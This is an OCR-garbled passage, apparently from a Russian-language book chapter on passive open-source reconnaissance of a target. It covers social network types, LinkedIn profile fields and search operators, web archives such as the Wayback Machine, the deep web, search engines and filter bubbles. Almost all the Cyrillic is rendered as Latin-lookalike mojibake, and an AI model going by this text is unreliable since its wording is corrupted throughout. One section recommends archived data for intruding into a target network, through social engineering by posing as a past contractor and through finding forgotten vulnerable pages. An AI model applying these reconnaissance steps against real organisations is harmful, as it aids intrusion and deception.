Muxkpo6uor. [To3BoJisteT MoIb30BaATEIAM TyOIUKOBATH KOPOTKHIA TEKCTOBBII
a63arl (KOTOPbI MOKET ObITh CBSA3aH ¢ U300PasKEHUEM WU BUEO) WK CChLIKY
(URL). CambiMu HOILyJIspHBIME MUKpoOsIoTamu sBisiiores Twitter u Tumbler.

Dopym (m0cka coodumenuii). OauH 13 cTapeillix TUIIOB COLMAIbHBIX CETEll.
[To3BoJIseT 10JIb30BATEIAM OOMEHMBATHCA UAESIMU, MHEHUAMM, OIIBITOM, HH(OP-
Mal[eil, HOBOCTSIME 1 00CYKIaTh X ¢ APYrUMH JioabMu. DopyMbl 00bIYHO Opra-
HU30BaHbI 110 TeMaM. CaMbIMU TOMyIpHBIME celtuac siBstiorest Reddit u Quora.

Nrpa. B ocHOBHOM NMeIOTCS B BUY OHJIANH-UTPHI, TTO3BOJISIONTNE HECKOTBKIM
UrpokaM Urpartb BMecre. Takue ceTu 1103BOJIAIOT [10Jb30BATEAAM U3 PA3HbIX
yroJikoB Mupa (hopMUpPOBATh CBOM KOMaH/IbI U B3aMMO/ICHCTBOBATD C IPYTUMHU
monpMu 1 rpynmamu. K takum cerssm moskuao oraect Twich, Discord, Steam.

Cepsuc conpaibHbIX 3aKaaoK. OCHOBHON (DYHKIMEN TaKUX CAliTOB SBJISCTCA
CO3/IaHVIE 3aKJIAJIOK 1 OOMEH MU C IPYTHME caiiTaMu. B oT/iiume oT 3aKk/IajioK B Ba-
meM Gpaysepe, Bbl MOJKETE JIETUTHCS TAKUM JAHHBIMU C IPYTUMH Jiioabmu. Hau-
6oJiee MOIYJIAPHBIMU CePBUCAMU 3aKJIal0K sBJsioTcs Atavi, Pinterest u Pocket.

00630p IPOAYKTOB WM yCAYT. Takue caliThl MO3BOJISIOT TTOJIB30BATENSAM TIPO-
CMaTPUBATD WU OCTABJISATH OT3BIBBI O JIOOOM MPOAYKTE UJIN YCJIYTE, KOTOPHIMU
OHU T10J1b30BaJICh. CaMble oIy IsipHble caiiThl 0630poB — Yelp u Angie’s List.

CTouT OTMETHTB, UTO JAHHOE Pa3jieJieHIe HECKOJIBKO YCJIOBHO, BeJIb BbI MOJKETE OCTa-
BUTH OT3bIB 00 ycJryre He ToJbKOo Ha Yelp, Ho u B 2GIS u GoogleMaps. OcHoBHOI T1e-
JIBIO TAKOM CHCTEeMATH3AIINH SBJISIETCS He CTPOTOE Pas/ie/ieHne Ha TPYIIIIBI, 2 BO3MOJK-
HOCTb TIOKa3aTh BCe PasHOOOpasne CyIIECTBYOINX COMUATbHBIX B3AUMOICHCTBHN.
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LinkedIn

PaccMOTprM BO3MOKHOCTH TIOMCKA MO COMMATBHBIM ceTsiM Ha mpuMepe LinkedIn.
LinkedIn — conumambHast ceTh, OpHEeHTHPOBaHHASI Ha TPO(ECCHOHATIBHBIE B3AUMOOTHO-
tieHust 1 passutre Kapbepbl. OHa Gbita ocHoBaHa B 2002 rojty u samyiiena B 2003 rogy.
C momenTa cBoero coznanust LinkedIn npesparuiach B 0iHy U3 KPYTHEHIIUX COMU-
ATBHBIX TUIATGHOPM, OOGBETMHSTIONNX MUJITMOHBI TTOJIb30BATEJIEH CO BCETO MUPA.

OcHogHble BosMoskHOCTH 1 (pyHKImu LinkedIn:

Cosnanne npodeccuoHanrbHoro npodus ¢ ykazanneMm 06pa3oBanusi, ONbITa
padoThI, HABBIKOB U JAOCTHKEHHIA. [TpodIIIb CITYKUT CBOETO Pojia MHTEPAKTUB-
HBIM PE3IOMe 1 MOKET OBITh UCIIOJIb30BAH TIPH MTOUCKE PAGOTHI HJIH YCTAHOBJIEHUN
JICIOBBIX KOHTAKTOB.

COI.ll/IaJII)HI)Ie B3auMozelictBus. [lonb3oBarenn MOTYT ,Z[O6aB.7'IF{Tb APYTUX 1MoJib-
30BaTesieil B CBON KOHTAKTBbI, UYTO ITO3BOJIAET UM CJICIUTDH 3a HOBOCTAMU 1 06HOB-
JICHUAMMH, a TaKIKE PACHINPATDH CBOIO HpO(l)eCCI/IOHaJIbHyIO CEThb.

ITouck pa6orsi. LinkedIn mpeziaraer mouck BakaHCHI, a TaKsKe BO3MOKHOCTD
HOZAIUCKY Ha OOHOBJIEHKS BAKAHCUI KOMIIAHUIA 1 IIPOCMOTPA IPEJIOKEHNI 0 pa-
6ore. Tlnatrdopma Takske TpeIaraeT MHCTPYMEHTBI [T OTCIEKUBAHUS 3aBOK
Ha paboTy ¥ TOJMYYeHUsT PEKOMEHIATIHIH.

Vuebnsie pecypcesi. LinkedIn mpemaraer 1ocTym k 06ydaionmum MaTepraiam
u Kypcam uepes cBoto miaardopmy LinkedIn Learning (paHee u3BecTHYIO Kak
Lynda.com). 3pech mosib30Baresii MOTYT M3y4aTh HOBbIE HABBIKU U YJIYUIIATEH
CBOTO KBATM(DUKAIMIO B PA3TMYHBIX 0OIACTSX.

Ipynmsi u coobmiectBa. [Tob30BaTen MOTYT CO3/IaBATh TPYIIIHI IO HHTEPECAM
U IPUCOEANHATHCS K YIKe CO3IaHHbBIM, 00CY KAATh PasINUHBIC TEMbI ¢ KOJIJIETaMK
1o TpOeCCUm WK eIMHOMBITTIIEHHUKAMU.

Konrent u HoBoctH. LinkedIn mnpejaraer jeHTy HOBOCTEIA, T/I€ 1OJIb30BATEIN
MOTYT A€JIUThCS CTAThsIMU, OOHOBJIEHIAMM 1 MHEHUSIMU, 2 TAKKE YUTATh U KOM-
MEHTHPOBATh IIyOJIMKAIUK APYTUX [10Jb30BaTe e,

B 2016 roxy xommnanust Microsoft npuobpena LinkedIn 3a $26,2 mupa, uro cramo
OJTHOU W3 KPyIHEWIX caegok B wHaAycTpun TexHosoruii. C rex mop LinkedIn
MIPOJIOJIKAET PA3BUBATHCS U PACIIUPSITH CBOU BO3MOKHOCTH, CTAHOBSICH BCe OoJree
MHTErpUPOBaHHOII B aKocucTeMy Microsoft.

W3 npocusist mosbzosaresst Linked In MOKHO MOTyInTh ClteyIoNyio MHMOPMAIHUIO:

OCHOBHbBI€ JaHHbIE: UM, (baMI/IJII/IH, AOJIZKHOCTDb, MECTOIIOJIOKEHNE N KPaTKOe
OIlMCaHue HpO(t)eCCI/IOHa]II)HOI;'I J1EeATE/IbHOCTH;

06pa30}3aHI/Ie: y’-Ie6H]':>Ie 3aBe/icHN:A, CIICMUAJIbHOCTU 1 CTEIICHU, ITOJYYCHHBIE
II0JIb30BaTEJIEM;

OTIBIT PaBOTHL: CITICOK KOMITAHWH, TII€ TI0Jh30BaTETb PabOTAT patee, ¢ yKazaHneM
JOJIKHOCTEH, /IaT Havyasila U OKOHYaHUs PabOThI, a TaKyKe KPATKUM OMUCAHUEM
06sI3aHHOCTEH U JIOCTHIKEHMIT HA KAKIOM MecTe paboTh;
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® HaBBIKU:. CIIMCOK HpO(bECCI/IOHaJIbeIX HaBBIKOB C BOBMOJKHOCTBIO ITOJIYYE€HUA
peKOMeHI[aHI/Iﬁ OT IpyTux HOJIbSOBaTe]IeI;,I;

® peKOMEHAINU: PEKOMEHIAINU OT KOJIJIeT, KITUEHTOB UJIN PYKOBOAUTECH, TTO1-
TBEPIKAAIOU[UE KOMIIETEHTHOCTD U JIOCTUKEHUS 110JIb30BATEIIS;

L] CepTI/I(bI/IKaTBI 1 Harpajbl: MMOJy4Y€HHbBIC CepTI/I(l)I/IKaTbIy JIMIIEH3WN, HarpaJabl
" Jpyrue J0CTHUKEHU A I10JIb30BaTEJIsA B paMKaX cBoelt HpO(i)eCCI/IOHa]IbHOI;'I JeAa-
TEJIbHOCTH,

® BOJIOHTEPCTBO: OIIBIT BOJIOHTepCKOIL/,I JEeATEJIbHOCTU 1 O6H.[€CTB€HHIJIX MHHUINATUB,
B KOTOPBIX TPUHUMAJI YIaCTHE TTOJb30BATECIb;

® MHTEPECHI: CIIMCOK MHTEPECOB I10JIb30BaTEJIA, BKJIIOYasaA KOMIIaHNH, OTpacJjieBbie
TPYIIIIbI, COO6I.II€CTB3. 1 TEMDbI,

® TPYIIIbI U OPraHU3AIUHU: TPYIIIBI U OPTAaHU3AIUU, K KOTOPBIM ITPUCOETUHILICS
noJib3oBaretb Ha miaatdopme LinkedIn;

® nyOJUKAIMU: CTaThH, IOCThI, OGHOBJIEHM U KOMMEHTapHH, OIlyOJINKOBaHHbIE
nosb3osareseM Ha LinkedIn;

® O6H13H CE€Tb KOHTAKTOB: KOJIMYECTBO KOHTAKTOB I10JIb30BaTEJ/Id 1 BOSMOKHOCTD
TIpocMOTpa O6H.[I/IX KOHTAKTOB C IPYTUMU TI0JIb30BATEJISAMMU;

® MEepOonpHuATHA: YHYaCcTHEe B IIPOLIEAIINX WUJIN IIPEACTOAIINX MEPOIIPUATHAX, CBA-
3aHHBIX C HpO(l)eCCI/IOHaJIbHOfI J1eATE/IbHOCTDIO ITOJIb30BaTeJIA.

Baxno OTMETHUTD, YTO HEKOTOPBIE N3 3TUX JaHHBIX MOTYT OBITh CKPBITBI C TOMOIIBIO
HACTPOEK KOH(I)I/IILCHHI/IZUII)HOCTI/I II0JIb30BAaTEJIA.

ITouck B LinkedIn. IToka BbI He npouwiu ayTedTudukanuio B LinkedIn, Bam Oyzer
JOCTYTIEH JIUTITH TIPOCTOI TIOUCK € UCTIOIb30BAHMEM B KAUECTBE MAPAMETPOB TOJHKO
nmenu u hamusnu. B pesysibrare Bbl IOJyYUTE CIIUCOK UMEH ¢ KPATKUM OIMCAHUEM
(puc. 3.52). Eci Bbl XOTHTE HOJYYUTH JOCTYI K GoJiee nogpoOHoi uHGopMaun
o soboM mipodie, BaM Hy:kHO BoiiTu B LinkedIn.

Jluist 3aperucTpupoBaHHbIX Tosb3oBateseii LinkedIn npegocrasiisier 6osee mmpokue
BO3MOKHOCTH: TIOUCK JTIO/IeH, BAKAHCHH, MyOIMKaIi, KOMIAHWIT, TPYIIT U Y4eOHbIX
3aBejenuil. Bol MoxkeTe HauaTb CBOU IIOUCK C IIPOCTBIX 3aIIPOCOB, & [1OCJIe II0IyYeHUs
Pe3yIBTaTOB OT(HUIBTPOBATH HYKHBIE, UCTIOJNb3YS Pa3JINIHbIe (DUITBTPHI.

Hamnpumep, 4To6bI BBIIOJIHITH MOKCK 110 KJIH0YeBOMY c1oBy British Airways, npocro
BBE/IUTE €T0 B CTPOKY ITOMCKA U HaxkMuTe KiaaBuiry Enter. Ha BepxHeii yacTul cTpaHUITbI
PEe3yJIBTaToB eCTh OMIKst Bce huUnbTpbl, HAKMUTE HA 3TY KHOIKY, YTOObI 0TOOPA3UTh
BCe BO3MOKHBIE (DUsIbTPBI (PHC. 3.53) U TMONTYIUTh BO3MOKHOCTD CY3UTh KPYT TIOUCKA.

Pacumpennsiii nouck LinkedIn obseruaer mpouecc HaxoxkaeHUs He0OXOAUMOM
MH(MOPMAIUK C UCTIOJH30BAHUEM TaKUX JAHHBIX, KAK UM, (haMUJInst, KOMITaHUSI,
obpasoBaresbHOe YUPEsKAeHUE 1 I0JKHOCTb. Bbl Takske MOsKeTe OrpaHuYUTh IIOMCK
oTIpe/ie/IeHHbIM PETMOHOM, yKa3aB reorpacdudeckoe pacrosioxkenue. [Tonck MoxxHo
HACTPOUTH C YIETOM SI3bIKA TIPOMUJIS U TEKYIIETO UK TIPEBILYIIET0 MecTa paboThl
1[€JIEBOTO JINTIA.
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Puc. 3.53. OunbTpsl LinkedIn

Pacimmpennbie omepatopbl OMCKA MTO3BOJISAIOT YTOUHATD PE3YIbTaThl M aHATIOTUYHbBI
TeM, KOTOpBIe TIPe/IIaraloT IpyTue coluaabable ceT. Hirke ykazaHo, Kak HCHOTb30-
BaTh HanboJIee MOMYJISIPHbIE U3 HIIX:

® uToObI HAWTH ONpesiesieHHYI0 (hpasy, 3aK/II0YNTe €€ B KaBbIUKM. TakoU MOAX0/
MPUMEHUM U JIJIs1 TIONCKa TPOMUIIEli ¢ HECKOJBKUMU KII0UeBbIMU cioBaMu. Ha-
npumep, "Perl programmer" HaiileT TOJBbKO TPOGhUIIN, cofepKalne 3Ty dhpasy;



MaccuBHbI C60p AaHHbIX 97

® 4TOGBI UCKJIIOUNTD OTIPEIETIEHHOE CI0OBO U3 PE3YJIBTATOB, MCIOJIb3YiiTe OIepaTop
NOT: developer NOT java;

® yTOOBI BKJIIOYUTD B PE3YJIBTAThI TIPOMUIIH, COJEpPIKAIUe OJHO M3 HECKOIbKUX
CJI0B, MCTIOJIB3YHTE o1iepatop OR: administrator OR linux;

® uTo6BI HAiTH TTPOGUIH, CoMepIKaIIie CPa3y HECKOTHKO CJIOB, UCTOMB3YITe
orepaTop AND: java AND architect. YuruTe, eciu HCKaTh HECKOJIBKO CJIOB He3 uc-
MOJIb30BaHUs JIaHHOTO oneparopa, LinkedIn ocyuiecTBuT nmonck Takum o6pasom,
GY/ITO BBI €TI0 MCIIOIb30BAJIH;

® uTo6bl OOBEMHUTD Pa3HbIe OTEPATOPbI, UCHONB3YIiTe ckoOKKM. Hampumep:
administrator NOT (windows OR developer)$

e Bocrosbayiirech mouckoBukoM Google muist moucka B LinkedIn, ncmoss3syst ore-
patop site. Hanpumep: "Air Mail" site:linkedin.com.

Pacuupentsie orepatopsr orcka LinkedIn moMoryT cysuTh Kpyr morcKa u moJry-
9UTh HoJIee PeJIeBAHTHYIO HH(MOPMAIIHTO.

ApxuBHble faHHble

Yacro ciydaeTcs Tak, 4TO OpraHu3aiiy yOoJuKyIOT Ha CBOMX caiiTaX TaKylo WH-
dhopmaiiio, KoTopas BIIOCJIEICTBUNA MOKET ObITh UCIIOJIb30BaHa IIPOTUB HUX CAMUX,
a 3aTeM, 3aMeTHB OIUOKY, YAAISIOT ee. IlepedrciuM HECKOJIBKO CJydaeB, KOTaa
apXWBHbBIE JaHHbIE TI0JIE3HBI /IJIsT TPOHUKHOBEHUS B ceTh 1esieBoit M C:

o CouuanpHas uHKeHepus. [loyuuB anHbie 0 MPOIIEANNX KOHKYPCaX Ha BBITTOJI-
HeHUe OITpe/ieJIeHHBIX PAOOT, BbI MOKETE MIPEICTABUTHCS OJJHUM H3 TIOAPSTIUKOB,
Takoii crocod O3BOIUT BOWTH B IOBEPHE, BE/lb BbI 0OazaeTe Toi nHbopMarmei,
MOCTYI K KOTOPOH Ha TAHHBII MOMEHT 3aKPBIT, U 067aIaTh €10 MOKET TOTHKO
JIUIIB CaM UCTIOJTHUTED.

e Jlauuble O 1eJIeBOi ceTH. B BakaHCcugxX 94acTo yKa3bIBAIOT TEXHOJIOTUM U TTPOU3-
BoJUTE el 060PYIOBaHMS, ¢ KOTOPbIMU paboTaeT opranusaius. Coopas JaHHbIe
U3 CTapbiX 0OBSABICHUI 0 paboTe, BBl MOKETE TIOJTYUUTh MPEACTABICHUE O TOM,
YTO MPOUCXOAUT 3a EPUMETPOM OE30IACHOCTH.

e TIoHMCK CKPBITHIX WM 3a0bITHIX cTpaHuIl. VHoT/1a 6BIBAET TAK, YTO BO BPeMst 00-
HOBJIEHUST QIMUHUCTPATOPDI 3a0bIBAIOT YAATUTH CTAPBIE BEPCUY CTPAHUIL Ecim
BBl CMO’KeTe HAalTH WX, aHAJU3UPYs apXUB, 3TO IIPUHECET T10JIb3Y, BEb YaCTO
TaKUe CTPAHUIIBI COACPIKAT YA3SBUMOCTH.

PacemoTpuM HECKOJIBKO PeCcypcoB, KOTOPBIE TIPEIOCTABISIOT OCTYTI K TAKOMY TUITY
JIAHHDBIX.

«Wayback Machine», nin «MaiiiHa BpeMeHIU», — 9TO BOJIIIEOHBIN MOPTaJ B IIPO-
IIJI0€ MHTEPHETA. DTOT CEPBUC, CO3IaHHBII HHTEPHET-aDXUBOM, TO3BOJISET 3arJISTHY Th
B [IPOIILIOE U YBUETh, KAK BbIIJIsIe/a Ta WK MHasl BeO-cTpaHua B JII000i MOMEHT
BpeMenu ¢ 1996 roza u 10 HACTOSIIIETO BPEMEHH.



98 naea 03 e C60p OTKPbLITOM MHOPMALIMK O Lienn

[TpuHIMIT PabOThI CEPBHUCA TPOCT: OH PETYJISPHO «CKAHUPYET» U COXPAHSIET CHUMKH
BeO-CTPAHMUIL CO BCETO MUPa. 3aT€M 9TH CHUMKH CTAaHOBSITCSI IOCTYITHBIMU JIJIST TIPO-
cmorpa uepes unTepdeiic Wayback Machine. Beequre URL-azpec BeO-cTpaHuIlbl
B TI0JI€ TTOMCKA, ¥ BbI YBUANUTE KaJeHAAPb ¢ JOCTYIIHBIMU JataMu. BbiOpas aaty, Bbl
y3HaeTe, KaK BBITJIsA/IesIa CTPAHUIA B 9TOT JIEHb.

OaHaKo CTOUT MOMHUTD, YTO HE BCE CTPAHUIIBI B KJK/BI MOMEHT BPEMEHHU COXPa-
Henbl B Wayback Machine u He Bce narubie MOTYT OBITH MOJHOCTBIO BOCCTAHOBJIC-
HBI, 0COGEHHO KOT/[a PeUb W/IET O CIOKHBIX BEO-TIPUIOKEHUSAX 1 TTHAMIYECKOM
KOHTEHTE.

Google Cache — 510 cBOero pojia «3aracHast KOIusi» BeO-CTPaHUIL, KOTOPYIO CO3/IaeT
Google nipu unnekcainu nateprera. Ona mosBosisiter Google GbICTPO MOKA3BIBATH
COZIEPKUMOE BEO-CTPAHUIL TPU TIOMCKOBBIX 3aIIPOCAX U MOXKET OBITH MOJIE3HA, €CIIH
OPUTMHAJIbHASI CTPAHUIIA BDEMEHHO HEJIOCTYITHA WJIHU yajieHa. YToObI IPOCMOTPETh
KIIIIUPOBAHHYIO BEPCHUIO, IOCTATOYHO HAKATh Ha CTpesiKy BHU3 psiioM ¢ URL Beb-
CTpaHUIbI B pedyJibratax norcka Google u Boiopars KawmposaHHas Bepcus.

Ho ectb u HekoTOpbie orpanndenus. He Bce crpanuiisl nagekcupytores Google
U UMEIOT KLIMPOBAHHBIE BEPCUU, IUHAMUYECKUI KOHTEHT He Beerga 0To0paKkaercs
KoppektHo. Heemotpst Ha atu orpanndenusi, Google Cache ocraercst MOIIHBIM WH-
CTPYMEHTOM JIJISI UCCJIEIOBAHUSI MHTEPHETA, MO3BOJISIsT HAM BUIETH BeO-CTPAHUIIBI
JIasKe TOT/IA, KOT/Ia OHU YK€ HEOCTYITHBI B UX MCXOAHOM PACIIOTIOKEHU.

Archive.Today — 9TO CEPBUC, ITO3BOJISIONINIA ITOJIb30BATENISIM CO3/IaBaTh CHUMKH
B66-CTpaHI/IL[ JUIA JOJITOBPEMEHHOTO XpaHeHWA. ITO HEMHOTIO TIOXOJKe Ha CO3/[aHne
CKpHMHIOIOTa Ha CMapT(bOHe, HO B 9TOM CJiy4da€ p€db UIET O LEJbIX Be6-CTpaHI/IHaX.
CepBI/IC Ipeajiara€t BOSMOKHOCTb «3aMOPO3UTb» MOMEHT BpEMEHU Ha 106011 Be6-
CTpaHMIIe, CO3/1aBasd ee TTOJTHBII CHHUMOK, BKJIIOYATOTIINIA TEKCT, I/1306pa>KeHI/IH n He-
KOTOpPbIE 9J71IEMEHTBI MHTEPAKTUBHOT'O KOHTEHTA.

CepBI/IC ImoJie3eH AJiA COXpaHeHUA BaskKHOU I/IH(bOpMaI_[I/II/I, €CJIN OpUTHUHaJIbHasA
B€6-CTp8.HI/IHa BIIOCJIEICTBUN U3MEHUTCA NJIN MCUYE3HET. KpOMe TOro, 3TO LEHHbII
WHCTPYMEHT JIJI I/ICCJIEHOBELTGJIEI?I, HNCTOPUKOB, )KYPHAJIMCTOB 1N JII06OIIBITHBIX 10JIb-
SOBaTeJIeI'/JI, KOTOpPbIE XOTAT U3YUYUTDH IIPOIIIOE Be6-CTpaHI/II_[I)I NJIN COXPAaHUTDb CBON
cOOCTBEHHbIE HaXOJAKH.

CKpbITbIN MHTEPHET

Hackonpko xopomio Bl 3HaeTe MHTePHET? Bbl HaBepHsIKa MOIb3yeTech TAKUMHI
caiitamu, kak BKontakre, STanexc, Google, Youtube u etie mapoii gecsiTkoB apyrux
WHGOOPMAIMOHHBIX PECYPCOB, HO BCs JiM 9TO fAocTynHas nabopmarmsa? Ha camom
JIeJie HeT, PealbHOCTh TaKOBa, 4TO OOJIBIIAst YaCTh PECYPCOB TaK WU WHAUYE CKPhITA
OT BAIIINX IJIa3.

CormacHo IIPpUMEPHDBIM ITOACYETaM, KOJIMYECTBO aKTUBHbBIX MoJIb30BaTesell Ha JlaH-
HBII MOMEHT IIpEBbIIIACT 4 MWJJIMapJa 1 6leeT TOJIBKO YBEJINYNBATHCS B OmvsKail-
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mem OyayiieM. B cBoio ouepeib, KOJMUYECTBO aKTUBHBIX CAllTOB COCTABJISIET TIPH-
MepHO 2 musuinap/a. s cpaBHeHM, KOJMYeCTBO aKTUBHBIX CAliTOB B TEMHOI YacTh
uHTepHeTa, Tak HazbiBaeMoM DarkNet, Bappupyercs, Mo IPUMEPHBIM TIOCYeTaM,
ot 50 110 60 Teicsay. HecMoTps Ha TO uTO nojasJsioniee OOJIbIINHCTBO CAliTOB Bee
JKe HaXOJIUTCA B OTKPBITOM JIOCTYIIE€, COBPEMEHHbBIE TOMCKOBBIE CUCTEMbI ITPOUH-
JEKCHPOBAIIU TOJBKO OKOJIO 5 % JAOCTYITHOM WH(MOPMAIIUT, BCST OCTATIbHAS OCTAETCST
B riiy6okoM cermente cetu (deep web), Brimouas DarkNet.

MpUHUMNBI paboTbl MOMCKOBBIX CUCTEM

ITpuBeeM KpaTKoe onucaHue IPUHIKIA paboThl JTH0O0H HUPOKO U3BECTHOI MOUC-
KOBO CUCTEMBI.

[TowckoBbie POGOTHI (TaksKe Ha3bIBAEMBIE «TTAYKW» WJIH Crawlers) OTIpaBisioTes Ha
CalTbl, UCIIOJIBb3YS CCBLIKYU, KOTOPDbIE YiKe UMEIOTCS B UHJIeKce, M HAYMHAIOT CKAHU-
POBaTh COAEPKUMOE CTPaHUIl. POGOTBI MOTYT MOJIYYATh CCHIKH HA HOBBIE CTPAHUITDI,
€CJTH OHM HAXOMISITCS Ha Y/Ke M3BECTHLIX cafiTax. Takske caMu pa3spabOTINKY CTPAHMIII
MOTYT 3aIPAITUBATh UHJICKCAITUIO HOBOTO CAlTA, MCIIOJIb3YS ClielnaIbHble (POPMBIL.

HpI/I CKaHNPOBaHUN pO6OTbI AHAJIM3NPYIOT COAEPKUMOE CTPAHUILbI, a TAKKE CCbIJIKU,
Ha KOTOpPbIE€ OHA YKa3bIBA€T, 1 OTIIPABJIAIOT 9TY I/IH(I)OpMaLII/IIO Ha cepBep ITOMCKOBOI
CHUCTEMBDI.

Cepsep obpabarbiBaeT nHGOPMALIUIO U J06aBIsSeT CTPaHUIly B uHeKc. MHpeke —
9TO OTPOMHad 0aza JaHHBIX, cojepsKamas HHPOPMAINIO 0 MHOTUX MUJIIHAPAaX
BEO-CTPAHMILI.

B mporiecce nHiekcaIy TOMCKOBbIE CUCTEMbI aHAIM3UPYIOT KJIIOUEBbIE cJl0Ba U (pa-
3B, COJIEpsKAIIMECc Ha CTPAHMUILE, a TaKKe Pyrue JaHHble — 3ar0JIOBKH, ONIMCAHNE
CTPAHUIIBI, METATETH U T. JI. ITa WHGOPMAIIUA UCITIONB3YETCS s PAHKUPOBAHUS
CTPAHUIL IIONCKOBOH BbIIa4M B OTBET Ha 3alIPOCHI 110JIb30BaTeIeH.

[TorckoBbIe CCTEMBI HCITOIB3YIOT PA3UYHbIE AJITOPUTMBI 1 (hOPMYJIBI JITIS OTIpejie-
JIEHUSI PEJIEBAHTHOCTY CTPAHUIL U OTIPeIesIEHNs UX TIO3UIIUK B Pe3YJIbTaTaX MONCKa.
DakTopBI, BJAKUMOIINE HA PAaHKUPOBAHIE, MOTYT BKJIIOUATh B ce0sT KOJIMUECTBO BHEII-
HUX CCHLIOK, YKA3bIBAIOLIMX HA CTPAHUILY, ee cojepkumoe U T. 1i. OHU MOryT ObITh
YACTHYHO WU HOJHOCTBIO CKPBITHI OT IIyOIMYHOTO AOCTYIIA, YTOOBI He JOIyCKaTh
MaHUTYJINPOBAHUS PE3YIbTaTAMU PAHKUPOBAHMS.

KOFZ[& IIOJIb30BaTEJIb BBO/IUT 3alTPOC B ITIOMCKOBYIO CUCTEMY, OHA BBITIOJIHAET ITONCK
B CBOEM MHEKCE, NCIIOJIb3Y aJITOPUTMbBI PAHKNPOBaHN:A, 1 BBIBOJIUT CITUCOK PE3YJIb-
TaTOB, nanbogee PeIeBaHTHBIX JIA 3alipoca IMoJIb30BaTeJIA.

B merom mpottecce c6opa nHGOPMAIIT 1 MHAEKCAITTY CAUTOB MOUCKOBBIMU CHUCTE-
MaMU ABJISETCS IUHAMUYHBIM U TIOCTOSHHO U3MEHSIONIMMCS, IIPU 9TOM MHOKECTBO
(haKTOPOB BAMSIOT HA PAHKUPOBAHNE CTPAHUI] B PE3YIBTAaTaxX MOMCKA.

IIpoGaema uHbOPMAHOHHOTO y3bIPs. VHGOPMAMOHHBI Ty3bIPb — 9TO (e-
HOMEH, IIPU KOTOPOM II0JIb30BATE/IN B UHTEPHETE CTATKUBAIOTCS TOJIBKO ¢ MHPOP-
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MaHHCﬁ, KOTOpas COOTBETCTBYET UX IIPEAMNOYTCHUAM, MHECHUAM 1 UHTEPECaM, B TO
BpeMA KaK TO, YTO AUCCOHUPYET C UX B3TJIAaMU, UTHOPUPYETCA UJIN HE ITOABJIAETCA
B IIOMCKOBBIX pe3yJibTaTax.

ITonckoBbIe CHCTEMBI CTAHOBATCS OHUM M3 OCHOBHBIX UCTOYHUKOB (pOpMI/IpOBaHI/IH
MH(OPMATTMOHHOTO Ty3bIPS, MOCKOJBbKY OHU YaCTO MPEIOCTABISIOT TIEPCOHATTN3N-
POBaHHbIE PE3YJIBTATHI TIOMCKA HA OCHOBE €r0 UCTOPUH, TIOBEIEHUS TI0JIb30BATEJISI
U IpyTHUX (haKTOPOB.

Ozuoit u3 npobaeM MHGOPMAIMOHHOTO IIY3bIPS SABJISIETCS TO, YTO MOJb30BaTEIN
TEPSIOT BO3MOKHOCTb PACHIMPUTD CBOU IMO3HAHUS IIPU UCCICIOBAHUN OTIPE/IeICHHbBIX
TeM U, He 0CO3HABAs 9TOTO, HEOTIOIYJIA0T HH(POPMAITIIO, KOTOPas MOJKET PACIITH-
PHUTh MX TOPU3OHTBI MJIU CIIOCOOCTBOBATD TOSIBJIEHUIO KPUTHIECKOTO OCMBICIEHUSI
WHTEPeCyoIero Bonpoca. JTo BefieT K (GOPMUPOBAHUIO Y3KOTO KPYTo30pa U Orpa-
HUYEHHOCTU BOCIIPUATUS MUPA.

Kpome Toro, nrdopMaioHHblil IIy3bIph CIIOCOOCTBYET YKPEILJIEHUIO CYLIECTBYIO-
mux yoeskAeHui 1 B3IJISIOB MOJIb30BaTe e, co3/aBast JOKHOE BIIEYaTICHIEe, YTO
WX MHEHUE SIBJISIETCS €JIMHCTBEHHO MTPABUJIBHBIM, a JIO/U C OTJUYHBIMY B3IJISI/[AMU
ommbaioTces. B koHeuHOM nTOre HHGOPMAIIMOHHBIN My3bIPb MOKET IPUBECTH K I10-
JINTUYECKON U COLMAIBHON HOJIAPU3ALUU U OIPAHIUYEHIIO CBOOO/IbI MBICJIM 1 BbI-
paxkenus. OH Tak)Ke OKa3bIBaeT HETATUBHOE BJIMSTHUE HA KAUeCTBO ITPUHUMAEMBbIX
[I0JIb30BaTE/IeM PelleHnii, HalpuMep, IIPKU BbIOOPE KaHuaTa Ha BIOOpax Wju
OILleHKEe HOBOCTEIL.

Petenviem a10ii po6GIeMbl SIBJISIETCS paciiupene HHGOPMAITMOHHON TPAMOTHOCTH
MOJIb30BaTEIEll, 0CO3HAHHOE MCIIOIb30BAHNE PA3JINYHBIX TIOUCKOBBIX CHCTEM U J10-
cry1 Kk 6oJiee paznoobpastoi nHbopMarwi. [IoncKoBbIe CHCTEMbI MOTJIM Obl HCIIOJIb-
30BaTh AITOPUTMBI, YIUTHIBAIOTIIE MHEHUST U B3TJISA/IbI, OTITUYHBIE OT TE€X, KOTOPBIE
MOJIB30BATEb 0OBIYHO UIIET, U TIPEAOCTABISTH Hosiee Pa3HOOOPa3HbIE PE3YIBTAThI
MOVCKA, HO ATO BPSIL JIK IPOU30H/IET B CKOPOM BPEMEHTL.

MNorpy>xeHne

Kak YK€ YIIOMMNHAJIOCh, CKAaHEPBI ITIOMCKOBBIX CUCTEM O6Hapy>KI/IB3.IOT HOBbBIE CTpa-
HUIIBI, IIEPEXO/A ITO CChIJIKaM. O,/IHaKO 9TOT METO/J HE naeaieH, 1 OI‘pOMHbIﬁ 00beM
JaHHBIX OCTA€TCA HETIPOMHAECKCUPOBAHHBIM, ITOCKOJIBKY CKaHEPbI TIOMCKOBBIX CUCTEM
HE MOTYT IMOJIYYUTb K HUM JIOCTYIT Yepe3 B66-CKaH€pH.

[TponnntocTpupyem aTo Ha IpUMepe MOTOABI. IIpeanosokM, BBl METEOPOJIOT
U XOTHTE Y3HaTh, Kakas ObljIa moroja B asporopry ropozaa Puru B 2021 roay. ITo-
MCKOBAs CUCTEMA ITOMOKET BaM HAUTHU CAWTBI, ATOTNE BO3MOKHOCTH TIOJYIUTh
TaKyio uH(MOPMAIIUIO, TIOCKOIbKY TAK YKA3aHO HA CAMOM CaliTe; OJJHAKO MOTO/IHbIE
MaHHBIE TIOVMCKOBAs CUCTEMA MOJYIUTH He CMOYKET, BEIb JIJIsI 9TOTO HEOOXOIIMMO
He MPOCTO TEPEHTH MO CChITKE Ha CTPAHUILY, HO M aKTUBHO B3aUMO/IEHCTBOBATD
C Pa3INYHBIMU dJIEMEHTaMU yTipaBienus (puc. 3.54), 4ero moucKoBbie POOOTHI
ZieaTh He yMeroT.
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Puc. 3.54. MNonyyeHne nHdopMaumm o noroge € UCNob30BaHWEM Pa3INYHbIX
3/IEMEHTOB YrpaB/ieHuns

